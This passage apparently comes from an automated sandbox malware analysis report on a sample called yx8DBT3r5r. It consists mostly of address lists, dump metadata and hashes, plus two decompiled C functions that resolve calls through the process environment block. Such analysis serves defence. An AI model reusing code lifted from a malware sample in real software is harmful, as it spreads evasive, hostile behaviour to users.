                                                                                                                                                                                                                                                                                                      0x0040e073
                                                                                                                                                                                                                                                                                                      0x0040e07f
                                                                                                                                                                                                                                                                                                      0x0040e08b
                                                                                                                                                                                                                                                                                                      0x0040e097
                                                                                                                                                                                                                                                                                                      0x0040e0a3
                                                                                                                                                                                                                                                                                                      0x0040e0af
                                                                                                                                                                                                                                                                                                      0x0040e0bb
                                                                                                                                                                                                                                                                                                      0x0040e0c7
                                                                                                                                                                                                                                                                                                      0x0040e0d3
                                                                                                                                                                                                                                                                                                      0x0040e0df
                                                                                                                                                                                                                                                                                                      0x0040e0eb
                                                                                                                                                                                                                                                                                                      0x0040e0f7
                                                                                                                                                                                                                                                                                                      0x0040e103
                                                                                                                                                                                                                                                                                                      0x0040e10f
                                                                                                                                                                                                                                                                                                      0x0040e11b
                                                                                                                                                                                                                                                                                                      0x0040e127
                                                                                                                                                                                                                                                                                                      0x0040e133
                                                                                                                                                                                                                                                                                                      0x0040e13f
                                                                                                                                                                                                                                                                                                      0x0040e14b
                                                                                                                                                                                                                                                                                                      0x0040e157
                                                                                                                                                                                                                                                                                                      0x0040e163
                                                                                                                                                                                                                                                                                                      0x0040e16f
                                                                                                                                                                                                                                                                                                      0x0040e17b
                                                                                                                                                                                                                                                                                                      0x0040e187
                                                                                                                                                                                                                                                                                                      0x0040e193
                                                                                                                                                                                                                                                                                                      0x0040e19f
                                                                                                                                                                                                                                                                                                      0x0040e1ab
                                                                                                                                                                                                                                                                                                      0x0040e1b7
                                                                                                                                                                                                                                                                                                      0x0040e1c3
                                                                                                                                                                                                                                                                                                      0x0040e1cf
                                                                                                                                                                                                                                                                                                      0x0040e1db
                                                                                                                                                                                                                                                                                                      0x0040e1e7
                                                                                                                                                                                                                                                                                                      0x0040e1f3
                                                                                                                                                                                                                                                                                                      0x0040e1ff
                                                                                                                                                                                                                                                                                                      0x0040e20b
                                                                                                                                                                                                                                                                                                      0x0040e217
                                                                                                                                                                                                                                                                                                      0x0040e223
                                                                                                                                                                                                                                                                                                      0x0040e22f
                                                                                                                                                                                                                                                                                                      0x0040e238
                                                                                                                                                                                                                                                                                                      0x0040e23f
                                                                                                                                                                                                                                                                                                      0x0040e24a
                                                                                                                                                                                                                                                                                                      0x0040e6ba
                                                                                                                                                                                                                                                                                                      0x0040e6c4
                                                                                                                                                                                                                                                                                                      0x0040e796
                                                                                                                                                                                                                                                                                                      0x0040e868
                                                                                                                                                                                                                                                                                                      0x0040e952
                                                                                                                                                                                                                                                                                                      0x0040ea30
                                                                                                                                                                                                                                                                                                      0x0040ea3b
                                                                                                                                                                                                                                                                                                      0x0040ea47
                                                                                                                                                                                                                                                                                                      0x0040ea53
                                                                                                                                                                                                                                                                                                      0x0040ea5f
                                                                                                                                                                                                                                                                                                      0x0040ea6b
                                                                                                                                                                                                                                                                                                      0x0040ea77
                                                                                                                                                                                                                                                                                                      0x0040ea83
                                                                                                                                                                                                                                                                                                      0x0040ea8f
                                                                                                                                                                                                                                                                                                      0x0040ea9b
                                                                                                                                                                                                                                                                                                      0x0040eaa7
                                                                                                                                                                                                                                                                                                      0x0040eab3
                                                                                                                                                                                                                                                                                                      0x0040eabf
                                                                                                                                                                                                                                                                                                      0x0040eacb
                                                                                                                                                                                                                                                                                                      0x0040ead7
                                                                                                                                                                                                                                                                                                      0x0040eae0
                                                                                                                                                                                                                                                                                                      0x0040eaf6
                                                                                                                                                                                                                                                                                                      0x0040eaf6
                                                                                                                                                                                                                                                                                                      0x0040e958
                                                                                                                                                                                                                                                                                                      0x0040e95d
                                                                                                                                                                                                                                                                                                      0x0040e969
                                                                                                                                                                                                                                                                                                      0x0040e975
                                                                                                                                                                                                                                                                                                      0x0040e981
                                                                                                                                                                                                                                                                                                      0x0040e98d
                                                                                                                                                                                                                                                                                                      0x0040e999
                                                                                                                                                                                                                                                                                                      0x0040e9a5
                                                                                                                                                                                                                                                                                                      0x0040e9b1
                                                                                                                                                                                                                                                                                                      0x0040e9bd
                                                                                                                                                                                                                                                                                                      0x0040e9c9
                                                                                                                                                                                                                                                                                                      0x0040e9d5
                                                                                                                                                                                                                                                                                                      0x0040e9e1
                                                                                                                                                                                                                                                                                                      0x0040e9ed
                                                                                                                                                                                                                                                                                                      0x0040e9f9
                                                                                                                                                                                                                                                                                                      0x0040ea05
                                                                                                                                                                                                                                                                                                      0x0040ea0e
                                                                                                                                                                                                                                                                                                      0x0040ea24
                                                                                                                                                                                                                                                                                                      0x0040ea24
                                                                                                                                                                                                                                                                                                      0x0040e86e
                                                                                                                                                                                                                                                                                                      0x0040e873
                                                                                                                                                                                                                                                                                                      0x0040e87f
                                                                                                                                                                                                                                                                                                      0x0040e88b
                                                                                                                                                                                                                                                                                                      0x0040e897
                                                                                                                                                                                                                                                                                                      0x0040e8a3
                                                                                                                                                                                                                                                                                                      0x0040e8af
                                                                                                                                                                                                                                                                                                      0x0040e8bb
                                                                                                                                                                                                                                                                                                      0x0040e8c7
                                                                                                                                                                                                                                                                                                      0x0040e8d3
                                                                                                                                                                                                                                                                                                      0x0040e8df
                                                                                                                                                                                                                                                                                                      0x0040e8eb
                                                                                                                                                                                                                                                                                                      0x0040e8f7
                                                                                                                                                                                                                                                                                                      0x0040e903
                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                      0x0040e91b
                                                                                                                                                                                                                                                                                                      0x0040e927
                                                                                                                                                                                                                                                                                                      0x0040e930
                                                                                                                                                                                                                                                                                                      0x0040e946
                                                                                                                                                                                                                                                                                                      0x0040e946
                                                                                                                                                                                                                                                                                                      0x0040e79c
                                                                                                                                                                                                                                                                                                      0x0040e7a1
                                                                                                                                                                                                                                                                                                      0x0040e7ad
                                                                                                                                                                                                                                                                                                      0x0040e7b9
                                                                                                                                                                                                                                                                                                      0x0040e7c5
                                                                                                                                                                                                                                                                                                      0x0040e7d1
                                                                                                                                                                                                                                                                                                      0x0040e7dd
                                                                                                                                                                                                                                                                                                      0x0040e7e9
                                                                                                                                                                                                                                                                                                      0x0040e7f5
                                                                                                                                                                                                                                                                                                      0x0040e801
                                                                                                                                                                                                                                                                                                      0x0040e80d
                                                                                                                                                                                                                                                                                                      0x0040e819
                                                                                                                                                                                                                                                                                                      0x0040e825
                                                                                                                                                                                                                                                                                                      0x0040e831
                                                                                                                                                                                                                                                                                                      0x0040e83d
                                                                                                                                                                                                                                                                                                      0x0040e846
                                                                                                                                                                                                                                                                                                      0x0040e85c
                                                                                                                                                                                                                                                                                                      0x0040e85c
                                                                                                                                                                                                                                                                                                      0x0040e6ca
                                                                                                                                                                                                                                                                                                      0x0040e6cf
                                                                                                                                                                                                                                                                                                      0x0040e6db
                                                                                                                                                                                                                                                                                                      0x0040e6e7
                                                                                                                                                                                                                                                                                                      0x0040e6f3
                                                                                                                                                                                                                                                                                                      0x0040e6ff
                                                                                                                                                                                                                                                                                                      0x0040e70b
                                                                                                                                                                                                                                                                                                      0x0040e717
                                                                                                                                                                                                                                                                                                      0x0040e723
                                                                                                                                                                                                                                                                                                      0x0040e72f
                                                                                                                                                                                                                                                                                                      0x0040e73b
                                                                                                                                                                                                                                                                                                      0x0040e747
                                                                                                                                                                                                                                                                                                      0x0040e753
                                                                                                                                                                                                                                                                                                      0x0040e75f
                                                                                                                                                                                                                                                                                                      0x0040e76b
                                                                                                                                                                                                                                                                                                      0x0040e774
                                                                                                                                                                                                                                                                                                      0x0040e78a
                                                                                                                                                                                                                                                                                                      0x0040e78a
                                                                                                                                                                                                                                                                                                      0x0040e6c4
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040e250
                                                                                                                                                                                                                                                                                                      0x0040e254
                                                                                                                                                                                                                                                                                                      0x0040e2b3
                                                                                                                                                                                                                                                                                                      0x0040e312
                                                                                                                                                                                                                                                                                                      0x0040e3a8
                                                                                                                                                                                                                                                                                                      0x0040e410
                                                                                                                                                                                                                                                                                                      0x0040e46f
                                                                                                                                                                                                                                                                                                      0x0040e4ce
                                                                                                                                                                                                                                                                                                      0x0040e52d
                                                                                                                                                                                                                                                                                                      0x0040e5f3
                                                                                                                                                                                                                                                                                                      0x0040e66d
                                                                                                                                                                                                                                                                                                      0x0040e674
                                                                                                                                                                                                                                                                                                      0x0040e67d
                                                                                                                                                                                                                                                                                                      0x0040e686
                                                                                                                                                                                                                                                                                                      0x0040e68f
                                                                                                                                                                                                                                                                                                      0x0040e698
                                                                                                                                                                                                                                                                                                      0x0040e69e
                                                                                                                                                                                                                                                                                                      0x0040e6ae
                                                                                                                                                                                                                                                                                                      0x0040e6ae
                                                                                                                                                                                                                                                                                                      0x0040e5f5
                                                                                                                                                                                                                                                                                                      0x0040e5fa
                                                                                                                                                                                                                                                                                                      0x0040e606
                                                                                                                                                                                                                                                                                                      0x0040e612
                                                                                                                                                                                                                                                                                                      0x0040e61e
                                                                                                                                                                                                                                                                                                      0x0040e62a
                                                                                                                                                                                                                                                                                                      0x0040e636
                                                                                                                                                                                                                                                                                                      0x0040e642
                                                                                                                                                                                                                                                                                                      0x0040e64b
                                                                                                                                                                                                                                                                                                      0x0040e651
                                                                                                                                                                                                                                                                                                      0x0040e664
                                                                                                                                                                                                                                                                                                      0x0040e664
                                                                                                                                                                                                                                                                                                      0x0040e533
                                                                                                                                                                                                                                                                                                      0x0040e538
                                                                                                                                                                                                                                                                                                      0x0040e544
                                                                                                                                                                                                                                                                                                      0x0040e550
                                                                                                                                                                                                                                                                                                      0x0040e55c
                                                                                                                                                                                                                                                                                                      0x0040e568
                                                                                                                                                                                                                                                                                                      0x0040e574
                                                                                                                                                                                                                                                                                                      0x0040e580
                                                                                                                                                                                                                                                                                                      0x0040e58c
                                                                                                                                                                                                                                                                                                      0x0040e598
                                                                                                                                                                                                                                                                                                      0x0040e5a4
                                                                                                                                                                                                                                                                                                      0x0040e5b0
                                                                                                                                                                                                                                                                                                      0x0040e5bc
                                                                                                                                                                                                                                                                                                      0x0040e5c8
                                                                                                                                                                                                                                                                                                      0x0040e5d1
                                                                                                                                                                                                                                                                                                      0x0040e5e7
                                                                                                                                                                                                                                                                                                      0x0040e5e7
                                                                                                                                                                                                                                                                                                      0x0040e4d0
                                                                                                                                                                                                                                                                                                      0x0040e4d5
                                                                                                                                                                                                                                                                                                      0x0040e4de
                                                                                                                                                                                                                                                                                                      0x0040e4e7
                                                                                                                                                                                                                                                                                                      0x0040e4f0
                                                                                                                                                                                                                                                                                                      0x0040e4f9
                                                                                                                                                                                                                                                                                                      0x0040e502
                                                                                                                                                                                                                                                                                                      0x0040e50b
                                                                                                                                                                                                                                                                                                      0x0040e511
                                                                                                                                                                                                                                                                                                      0x0040e521
                                                                                                                                                                                                                                                                                                      0x0040e521
                                                                                                                                                                                                                                                                                                      0x0040e471
                                                                                                                                                                                                                                                                                                      0x0040e476
                                                                                                                                                                                                                                                                                                      0x0040e47f
                                                                                                                                                                                                                                                                                                      0x0040e488
                                                                                                                                                                                                                                                                                                      0x0040e491
                                                                                                                                                                                                                                                                                                      0x0040e49a
                                                                                                                                                                                                                                                                                                      0x0040e4a3
                                                                                                                                                                                                                                                                                                      0x0040e4ac
                                                                                                                                                                                                                                                                                                      0x0040e4b2
                                                                                                                                                                                                                                                                                                      0x0040e4c2
                                                                                                                                                                                                                                                                                                      0x0040e4c2
                                                                                                                                                                                                                                                                                                      0x0040e412
                                                                                                                                                                                                                                                                                                      0x0040e417
                                                                                                                                                                                                                                                                                                      0x0040e420
                                                                                                                                                                                                                                                                                                      0x0040e429
                                                                                                                                                                                                                                                                                                      0x0040e432
                                                                                                                                                                                                                                                                                                      0x0040e43b
                                                                                                                                                                                                                                                                                                      0x0040e444
                                                                                                                                                                                                                                                                                                      0x0040e44d
                                                                                                                                                                                                                                                                                                      0x0040e453
                                                                                                                                                                                                                                                                                                      0x0040e463
                                                                                                                                                                                                                                                                                                      0x0040e463
                                                                                                                                                                                                                                                                                                      0x0040e3aa
                                                                                                                                                                                                                                                                                                      0x0040e3af
                                                                                                                                                                                                                                                                                                      0x0040e3b8
                                                                                                                                                                                                                                                                                                      0x0040e3c1
                                                                                                                                                                                                                                                                                                      0x0040e3ca
                                                                                                                                                                                                                                                                                                      0x0040e3d3
                                                                                                                                                                                                                                                                                                      0x0040e3dc
                                                                                                                                                                                                                                                                                                      0x0040e3e5
                                                                                                                                                                                                                                                                                                      0x0040e3ee
                                                                                                                                                                                                                                                                                                      0x0040e3f4
                                                                                                                                                                                                                                                                                                      0x0040e404
                                                                                                                                                                                                                                                                                                      0x0040e404
                                                                                                                                                                                                                                                                                                      0x0040e318
                                                                                                                                                                                                                                                                                                      0x0040e31d
                                                                                                                                                                                                                                                                                                      0x0040e329
                                                                                                                                                                                                                                                                                                      0x0040e335
                                                                                                                                                                                                                                                                                                      0x0040e341
                                                                                                                                                                                                                                                                                                      0x0040e34d
                                                                                                                                                                                                                                                                                                      0x0040e359
                                                                                                                                                                                                                                                                                                      0x0040e365
                                                                                                                                                                                                                                                                                                      0x0040e371
                                                                                                                                                                                                                                                                                                      0x0040e37d
                                                                                                                                                                                                                                                                                                      0x0040e386
                                                                                                                                                                                                                                                                                                      0x0040e39c
                                                                                                                                                                                                                                                                                                      0x0040e39c
                                                                                                                                                                                                                                                                                                      0x0040e2b5
                                                                                                                                                                                                                                                                                                      0x0040e2ba
                                                                                                                                                                                                                                                                                                      0x0040e2c3
                                                                                                                                                                                                                                                                                                      0x0040e2cc
                                                                                                                                                                                                                                                                                                      0x0040e2d5
                                                                                                                                                                                                                                                                                                      0x0040e2de
                                                                                                                                                                                                                                                                                                      0x0040e2e7
                                                                                                                                                                                                                                                                                                      0x0040e2f0
                                                                                                                                                                                                                                                                                                      0x0040e2f6
                                                                                                                                                                                                                                                                                                      0x0040e306
                                                                                                                                                                                                                                                                                                      0x0040e306
                                                                                                                                                                                                                                                                                                      0x0040e256
                                                                                                                                                                                                                                                                                                      0x0040e25b
                                                                                                                                                                                                                                                                                                      0x0040e264
                                                                                                                                                                                                                                                                                                      0x0040e26d
                                                                                                                                                                                                                                                                                                      0x0040e276
                                                                                                                                                                                                                                                                                                      0x0040e27f
                                                                                                                                                                                                                                                                                                      0x0040e288
                                                                                                                                                                                                                                                                                                      0x0040e291
                                                                                                                                                                                                                                                                                                      0x0040e297
                                                                                                                                                                                                                                                                                                      0x0040e2a7
                                                                                                                                                                                                                                                                                                      0x0040e2a7
                                                                                                                                                                                                                                                                                                      0x0040eaf9
                                                                                                                                                                                                                                                                                                      0x0040eafd
                                                                                                                                                                                                                                                                                                      0x0040eaff
                                                                                                                                                                                                                                                                                                      0x0040eb20
                                                                                                                                                                                                                                                                                                      0x0040eb27
                                                                                                                                                                                                                                                                                                      0x0040eb40
                                                                                                                                                                                                                                                                                                      0x0040eb40
                                                                                                                                                                                                                                                                                                      0x0040eb27
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040eb42

                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID: +0@$+0@$+0@
                                                                                                                                                                                                                                                                                                      • API String ID: 0-646348901
                                                                                                                                                                                                                                                                                                      • Opcode ID: e599f01b2f48c1ad8495996a7c16d78c8a151a424ca6b9118e245d86270d24b6
                                                                                                                                                                                                                                                                                                      • Instruction ID: 1512e0bd65f9ab115b16627a79e5fe846c1e871452411ee0425d0d8a7435bced
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e599f01b2f48c1ad8495996a7c16d78c8a151a424ca6b9118e245d86270d24b6
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5562CF20E24658C6EB24DF64D8107DEB232EF68700F1094BDD10DEB7A5E77A4E91CB5A
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E0040CBE0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20, intOrPtr* _a24) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				signed int _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				signed int _v20;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v24;
                                                                                                                                                                                                                                                                                                      				signed int _v28;
                                                                                                                                                                                                                                                                                                      				signed int _v32;
                                                                                                                                                                                                                                                                                                      				signed int _v36;
                                                                                                                                                                                                                                                                                                      				signed int _v40;
                                                                                                                                                                                                                                                                                                      				void* _t76;
                                                                                                                                                                                                                                                                                                      				signed int _t81;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t82;
                                                                                                                                                                                                                                                                                                      				void* _t95;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t106;
                                                                                                                                                                                                                                                                                                      				void* _t130;
                                                                                                                                                                                                                                                                                                      				void* _t131;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v32 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0 || _a20 == 0 || _a24 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v32;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					_v20 = 0;
                                                                                                                                                                                                                                                                                                      					_v8 = _a4;
                                                                                                                                                                                                                                                                                                      					_v28 = 0;
                                                                                                                                                                                                                                                                                                      					_v40 = 0;
                                                                                                                                                                                                                                                                                                      					while(1) {
                                                                                                                                                                                                                                                                                                      						_t76 = E0040C930(_v8 + _v40 * 2, _a8,  &_v12,  &_v20);
                                                                                                                                                                                                                                                                                                      						_t131 = _t130 + 0x10;
                                                                                                                                                                                                                                                                                                      						if(_t76 == 0) {
                                                                                                                                                                                                                                                                                                      							break;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t81 = E0040BB40(_v20, _v8 + _v20 * 2);
                                                                                                                                                                                                                                                                                                      						_t130 = _t131 + 4;
                                                                                                                                                                                                                                                                                                      						_v36 = _t81;
                                                                                                                                                                                                                                                                                                      						_t106 = _v12 + _a16 + _v36;
                                                                                                                                                                                                                                                                                                      						_v24 = _t106;
                                                                                                                                                                                                                                                                                                      						if(_t106 != 0) {
                                                                                                                                                                                                                                                                                                      							_t82 = E00407830(_v24);
                                                                                                                                                                                                                                                                                                      							_t130 = _t130 + 4;
                                                                                                                                                                                                                                                                                                      							_v16 = _t82;
                                                                                                                                                                                                                                                                                                      							if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      								_t95 = E004016E0();
                                                                                                                                                                                                                                                                                                      								_t115 =  *((intOrPtr*)(_t95 + 0x30));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t95 + 0x30))))(_v16 + _v12 * 2 + _a16 * 2, _v8 + _v20 * 2, _v36 << 1, _v16 + _v12 * 2, _a12, _a16 << 1, _v16, _v8, _v12 << 1);
                                                                                                                                                                                                                                                                                                      								if(_v8 != _a4) {
                                                                                                                                                                                                                                                                                                      									E00407700(_t115, _v8);
                                                                                                                                                                                                                                                                                                      									_t130 = _t130 + 4;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								_v8 = _v16;
                                                                                                                                                                                                                                                                                                      								_v28 = _v24;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != _a4 && _v28 != 0) {
                                                                                                                                                                                                                                                                                                      						 *_a20 = _v8;
                                                                                                                                                                                                                                                                                                      						 *_a24 = _v28;
                                                                                                                                                                                                                                                                                                      						_v32 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v32;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}



















                                                                                                                                                                                                                                                                                                      0x0040cbe6
                                                                                                                                                                                                                                                                                                      0x0040cbf1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040cc0d
                                                                                                                                                                                                                                                                                                      0x0040cc0d
                                                                                                                                                                                                                                                                                                      0x0040cc14
                                                                                                                                                                                                                                                                                                      0x0040cc1e
                                                                                                                                                                                                                                                                                                      0x0040cc21
                                                                                                                                                                                                                                                                                                      0x0040cc28
                                                                                                                                                                                                                                                                                                      0x0040cc2f
                                                                                                                                                                                                                                                                                                      0x0040cc45
                                                                                                                                                                                                                                                                                                      0x0040cc4a
                                                                                                                                                                                                                                                                                                      0x0040cc4f
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040cc5f
                                                                                                                                                                                                                                                                                                      0x0040cc64
                                                                                                                                                                                                                                                                                                      0x0040cc67
                                                                                                                                                                                                                                                                                                      0x0040cc70
                                                                                                                                                                                                                                                                                                      0x0040cc73
                                                                                                                                                                                                                                                                                                      0x0040cc76
                                                                                                                                                                                                                                                                                                      0x0040cc80
                                                                                                                                                                                                                                                                                                      0x0040cc85
                                                                                                                                                                                                                                                                                                      0x0040cc88
                                                                                                                                                                                                                                                                                                      0x0040cc8f
                                                                                                                                                                                                                                                                                                      0x0040ccab
                                                                                                                                                                                                                                                                                                      0x0040ccc9
                                                                                                                                                                                                                                                                                                      0x0040cceb
                                                                                                                                                                                                                                                                                                      0x0040ccf0
                                                                                                                                                                                                                                                                                                      0x0040ccf3
                                                                                                                                                                                                                                                                                                      0x0040ccfb
                                                                                                                                                                                                                                                                                                      0x0040cd01
                                                                                                                                                                                                                                                                                                      0x0040cd06
                                                                                                                                                                                                                                                                                                      0x0040cd06
                                                                                                                                                                                                                                                                                                      0x0040cd0c
                                                                                                                                                                                                                                                                                                      0x0040cd12
                                                                                                                                                                                                                                                                                                      0x0040cd12
                                                                                                                                                                                                                                                                                                      0x0040cc8f
                                                                                                                                                                                                                                                                                                      0x0040cd15
                                                                                                                                                                                                                                                                                                      0x0040cd20
                                                                                                                                                                                                                                                                                                      0x0040cd2e
                                                                                                                                                                                                                                                                                                      0x0040cd36
                                                                                                                                                                                                                                                                                                      0x0040cd38
                                                                                                                                                                                                                                                                                                      0x0040cd38
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040cd3f

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: e1fafb0631405bfcdf65d4cb4c33d8790256d06d7f9bd195de223465695253b4
                                                                                                                                                                                                                                                                                                      • Instruction ID: 398668718ab436d847603ed9f4ef1e1363a54adefabbd795742fbf9346bcaa84
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e1fafb0631405bfcdf65d4cb4c33d8790256d06d7f9bd195de223465695253b4
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3451F7B4A0010DEFCF14DF98D494AEEB7B5BF88304F2081A9E815A7391D738AA45CF95
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E0040D560() {
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				return  *[fs:0x30];
                                                                                                                                                                                                                                                                                                      			}



                                                                                                                                                                                                                                                                                                      0x0040d56a

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: a4738e9d22b7a670e957569a9947fd17b9771784ab9a70797d5a1e1428e800be
                                                                                                                                                                                                                                                                                                      • Instruction ID: be7eecee3400b42b3e558a840de4aeb97e4223185f45bdd8b65d759b642826a8
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a4738e9d22b7a670e957569a9947fd17b9771784ab9a70797d5a1e1428e800be
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85A002321A5B8CC7C612A68DA651B51B3ECE348D54F440461A50D43E015659B9108495
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                                                                                                                                                                                                                                      • Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235659201.0000000003A10000.00000040.00000040.sdmp, Offset: 03A10000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a10000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                                                                                                                                                                                                                                      • Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                      Control-flow Graph

